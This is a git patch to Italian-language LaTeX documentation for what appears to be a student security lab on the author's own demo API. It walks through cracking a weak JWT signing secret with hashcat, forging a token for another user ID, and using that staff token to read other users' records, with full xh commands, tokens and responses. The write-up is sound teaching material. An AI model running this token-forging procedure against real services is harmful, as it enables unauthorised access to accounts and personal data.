From 97fbebaa22fc38b4276e1e05ca41631bfdf96044 Mon Sep 17 00:00:00 2001 From: Santo Cariotti Date: Thu, 1 Dec 2022 12:39:34 +0100 Subject: docs: Requests updated --- docs/chapters/network.tex | 93 +++++++++++++++++++++++++++++++++++------------ docs/chapters/setup.tex | 26 ++++++++++--- 2 files changed, 90 insertions(+), 29 deletions(-) (limited to 'docs/chapters') diff --git a/docs/chapters/network.tex b/docs/chapters/network.tex index 60bf08d..4b59370 100644 --- a/docs/chapters/network.tex +++ b/docs/chapters/network.tex @@ -45,24 +45,45 @@ Nella Figura 4.3 si vede ciò. Per copiare la riga bisogna entrare in modalità \begin{lstlisting} [Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. -eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9. -nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s\r\n] +eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9. +byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4\r\n] \end{lstlisting} Decodificando il payload si vedrà \begin{lstlisting} -$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9" | base64 -d -{"user_id":1,"exp":1669282872} +$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9" | base64 -d +{"user_id":1,"exp":1670066634} \end{lstlisting} +Se volessimo vedere i dati di un utente diverso, come ad esempio l'utente 2, dovremmo richiamare +\begin{lstlisting} +xh http://m6ie.demo.dcariotti.me/v1/users/2 + Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. + eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9. + byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4" +HTTP/1.1 401 Unauthorized +Access-Control-Allow-Origin: * +Connection: keep-alive +Content-Length: 37 +Content-Type: application/json +Date: Mon, 21 Nov 2022 03:20:00 GMT +Server: nginx +Vary: origin + +{ + "error": "Can't perform this action" +} +\end{lstlisting} +Questo è quello che ci aspettavamo, perché l'utente con id 1 non è uno staffer, ma non ci dà la sicurezza che l'utente con id 2 sia un utente esistente. + \section{Attacco all'autorizazzione} Ricreiamo un payload valido ma con differente "user\_id". \begin{lstlisting} -$ echo '{"user_id":2,"exp":1669282872}' | base64 -eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9Cg== +$ echo '{"user_id":2,"exp":1670066634}' | base64 +eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9Cg== $ # Il padding "Cg==" va rimosso da JWT \end{lstlisting} @@ -70,16 +91,16 @@ $ # Il padding "Cg==" va rimosso da JWT Usiamo un software che permette di fare chiamate HTTP come xh\footnote{https://github.com/ducaale/xh} e vediamo come questo nuovo payload non funzioni, proprio perché l'ultima parte non è stata ancora ricalcolata. \begin{lstlisting} -xh http://m6ie.demo.dcariotti.me/v1/users/me +xh http://m6ie.demo.dcariotti.me/v1/users Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 - .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9 + .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 .nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s" HTTP/1.1 400 Bad Request Access-Control-Allow-Origin: * Connection: keep-alive Content-Length: 25 Content-Type: application/json -Date: Tue, 22 Nov 2022 03:24:00 GMT +Date: Mon, 21 Nov 2022 03:24:00 GMT Server: nginx Vary: origin @@ -99,13 +120,13 @@ Per crackare la password usando Hashcat bisogna dare in input il parametro dell' $ hashcat -m 16500 my-secret.dat jwt-secrets-list.dat eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 -.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9 -.nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s:hello +.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9 +.byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4:hello Session..........: hashcat Status...........: Cracked Hash.Type........: JWT (JSON Web Token) -Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...qcJc3s +Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...NwNjA4 \end{lstlisting} Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello}. @@ -113,37 +134,63 @@ Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello \subsection{Creazione token valido} Usando queste informazioni possiamo sfruttare il sopracitato sito web \underline{jwt.io} per la creazione di un token valido. +Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima. + +\begin{lstlisting} +$ xh http://m6ie.demo.dcariotti.me/v1/users + Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 + .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 + .n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU" +HTTP/1.1 200 OK +Access-Control-Allow-Origin: * +Connection: keep-alive +Content-Length: 106 +Content-Type: application/json +Date: Mon, 21 Nov 2022 03:30:19 GMT +Server: nginx +Vary: origin + +{ + "id": 2, + "name": "Luke Skywalker", + "email": "luke@disney.com", + "username": "luke", + "is_staff": true, + "avatar": null +} +\end{lstlisting} + \begin{figure}[h] \centering \includegraphics[width=0.75\textwidth]{data/jwt} \caption{Screenshot di Jwt.io} \end{figure} -Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima. +Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa. +Per caso abbiamo trovato che l'utente con id uguale a 2 è uno staffer, quindi possiamo riutilizzare questo token anche per avere i dati degli altri utenti. Infatti possiamo utilizzarlo anche per l'utente di prima (o altri). \begin{lstlisting} -$ xh http://m6ie.demo.dcariotti.me/v1/users/me +$ xh http://m6ie.demo.dcariotti.me/v1/users/1 Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 - .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9 - .rUXPmYWp2U5B2614Ojen1Il_5yR3D5InYCAFAeaxUmw" + .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9 + .n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU" HTTP/1.1 200 OK Access-Control-Allow-Origin: * Connection: keep-alive Content-Length: 106 Content-Type: application/json -Date: Tue, 22 Nov 2022 03:30:19 GMT +Date: Mon, 21 Nov 2022 03:35:19 GMT Server: nginx Vary: origin { - "id": 2, - "name": "Luke Skywalker", - "email": "luke@disney.com", - "username": "luke", - "is_staff": true, + "id": 1, + "name": "Santo Cariotti", + "email": "santo@dcariotti.me", + "username": "sa", + "is_staff": false, "avatar": null } \end{lstlisting} -Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa. \ No newline at end of file diff --git a/docs/chapters/setup.tex b/docs/chapters/setup.tex index 43aff83..fab0a4a 100644 --- a/docs/chapters/setup.tex +++ b/docs/chapters/setup.tex @@ -9,17 +9,31 @@ Imposteremo tutto il necessario per simulare l'attacco visto nel capitolo preced \end{itemize} \section{API} -Nella realtà, come ad esempio l'API di Reddit \cite{REDDIT:1}, si espone un endpoint \emph{/api/v1/me/} dove \emph{v1} è la versione dell'API in cui si ritornano i dati per l'utente autenticato. E questa è una buona prassi, un endpoint che si può trovare più o meno in tutte le REST API. -\textbf{Cosa proveremo a fare noi?} Proprio un'API che fa ciò, niente più e niente meno. Ci limiteremo però solo a controllare che il JWT passato è valido in modo da ritornare i dati dell'utente che noi pensiamo sia stato autorizzato. +Prendendo ad esempio l'API REST di Github \cite{GITHUB:1}, si vede come, anche nella realtà, si usa un endpoint generale per visualizzare le informazioni di un determinato utente. + +\textbf{Cosa proveremo a fare noi?} Diamo per assodato che un utente è autorizzato a visualizzare quell'endpoint (e così anche i corrispettivi di PUT e DELETE) solo se è l'owner di quella risorsa o se ha permessi speciali: da staffer nel nostro caso. \newline\newline Il codice di questo servizio è presente al link \underline{\url{https://git.dcariotti.me/m6-ie/tree/server}}. \newline\newline -La parte incriminata è la route qui sotto. Qui si limita a ritornare la riga utente che corrisponde all'ID utente passato dall'header. +La parte incriminata è la route qui sotto: controlla se l'utente dell'url è lo stesso del token di autorizzazione o altrimenti che l'utente dell'autorizazzione (il quale token è creato dal server) sia uno staffer. \begin{lstlisting} -async fn get_user(claims: Claims) -> Result, AppError> { - match User::find_by_id(claims.user_id).await { +async fn get_user(Path(user_id): Path, claims: Claims) -> Result, AppError> { + let claimed = match User::find_by_id(claims.user_id).await { + Ok(user) => user, + Err(_) => { + return Err(AppError::NotFound("User not found".to_string())); + } + }; + + if user_id != claimed.id { + if !(claimed.is_staff.unwrap()) { + return Err(AppError::Unauthorized); + } + } + + match User::find_by_id(user_id).await { Ok(user) => Ok(Json(user)), Err(_) => Err(AppError::NotFound("User not found".to_string())), } @@ -33,7 +47,7 @@ let token_data = decode::(bearer.token(), &KEYS.decoding, &Validation::d .map_err(|_| AppError::InvalidToken)?; \end{lstlisting} -infatti il problema sta nell'inizializzazione della codifica/decodifica di JWT, in particolare quando definiamo il secret, dato che non fa un controllo della sicurezza di tale stringa. +Il problema sta nell'inizializzazione della codifica/decodifica di JWT, in particolare quando definiamo il secret, dato che non fa un controllo della sicurezza di tale stringa. \begin{lstlisting} static KEYS: Lazy = Lazy::new(|| { -- cgit v1.2.3-18-g5258